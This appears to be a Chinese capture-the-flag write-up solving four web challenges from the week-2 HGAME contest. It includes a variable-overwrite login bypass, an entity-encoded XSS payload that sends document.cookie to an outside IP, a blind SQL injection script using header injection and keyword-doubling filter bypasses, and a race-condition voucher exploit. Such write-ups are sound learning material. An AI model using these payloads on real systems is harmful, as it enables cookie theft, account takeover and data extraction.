HGAME Week2 Web WP

发布于 2021-02-13  375 次阅读


1.LazyDogR4U

打开题目显示的是一个登录框,多次尝试输入都没有结果。

改变一下思路,访问了几个常见的网页源码泄露目录,结果在www.zip路径下发现了源码泄露,下载下来网页源码

打开lazy.php

lazy.php源码发现存在变量覆盖。可以通过GET或POST方式提交参数对代码中的已有变量进行覆盖。但在覆盖之前还需要经过str_replace用空字符替换掉参数中的非法字符,即$filter中的关键字。这里可以考虑通过双写绕过。

继续打开flag.php

当_SESSION['username']==='admin'时便可以得到flag。

结合前面的变量覆盖,可得payload: http://436eb88943.lazy.r4u.top/?_SESSSESSIONION[username]=admin

2.Post to zuckonit

根据页面提示判断存在xss漏洞

fuzz测试之后发现页面会过滤掉含闭合内的内容,且会过滤掉script,http关键字

尝试使用img标签搭配onerro事件触发来进行xss攻击

<img src=x onerror=alert(1) //

利用//闭合后面的标签使得img标签被闭合,提交之后发现被反过来了,再把反过来的提交一次就正了。即 // )1(trela=rorreon x=crs gmi<

发现成功弹窗,xss漏洞验证成功。因为之前点击flag它会验证你的cookie,所以我们需要利用xss获取管理员的cookie。在这之前还需要输入验证码,前六位的md5碰撞。脚本如下:

import hashlib

md51 ="9e4fec"
def peng(md51):
    for i in range(1,10000000):
        md5_value=hashlib.md5(str(i).encode('utf-8')).hexdigest()
        if md5_value[:6]==md51:
            return str(i)

print(peng(md51))

由于会过滤掉http关键字,所以采用实体编码绕过,payload:

<img src=x onerror=&#119;&#105;&#110;&#100;&#111;&#119;&#46;&#111;&#112;&#101;&#110;&#40;&#39;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#49;&#56;&#50;&#46;&#57;&#50;&#46;&#49;&#55;&#48;&#46;&#49;&#52;&#53;&#47;&#99;&#111;&#111;&#107;&#105;&#101;&#46;&#112;&#104;&#112;&#47;&#63;&#99;&#111;&#111;&#107;&#105;&#101;&#61;&#39;&#43;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#111;&#111;&#107;&#105;&#101;&#41; //

得到的cookie


利用该cookie即可得到flag

3 .200OK

题目页面是这样,点一次Reload就会切换一次状态,尝试抓包。

点击Reload发现会访问一个server.php,并且会提交一个Status的随机值。尝试http头部sql盲注。(因为会过滤‘select’,‘from’,‘where’,“ ”等关键字,这里采用双写绕过)

1'^(ascii(substr((seselectlect(group_concat(SCHEMA_NAME))frfromom(information_schema.SCHEMATA)),1,1))>0) #

存在sql盲注漏洞,上脚本:

import requests

url="https://200ok.liki.link/server.php"
result=""
for i in range(1,500):
    l=23
    r=130
    mid=(l+r)>>1
    while(l<r):
        head={"Status":"1'^(ascii(substr((selselectect(group_concat(ffffff14gggggg))frfromom(f1111111144444444444g)),{},1))>{}) #".format(i,mid)}
        #print(head)
        html=requests.get(url,headers=head)
        if "HTTP 200 OK" in html.text:
            l=mid+1
        else:
            r=mid
        mid=(l+r)>>1
    result+=chr(mid)
    print(result)
    #ffffff14gggggg
    #f1111111144444444444g

4.Liki的生日礼物

又是一个登陆框,不过这次有注册的选项,注册一个先~~

登陆进来发现要使用52张兑换券换flag,但是2000元只能换50张兑换券,这里我的第一反应是修改cookie之类的,把金额数调高或者直接把兑换券拉满,但是抓了个包没有发现有效信息。所以这里转变一下思路,考虑是条件竞争。

即高线程一张一张的购买兑换券,由于服务器处理并发事件时的能力有限,所以可能造成购买兑换券却没有来得及扣钱而下一次购买的请求又发了过来。

这里使用burpsuite的intruder模块高线程发包

发完包再刷新一下页面,就可以发现兑换券已经远超52张,直接兑换flag就好啦~~~~


业精于勤,荒于嬉;行成于思,毁于随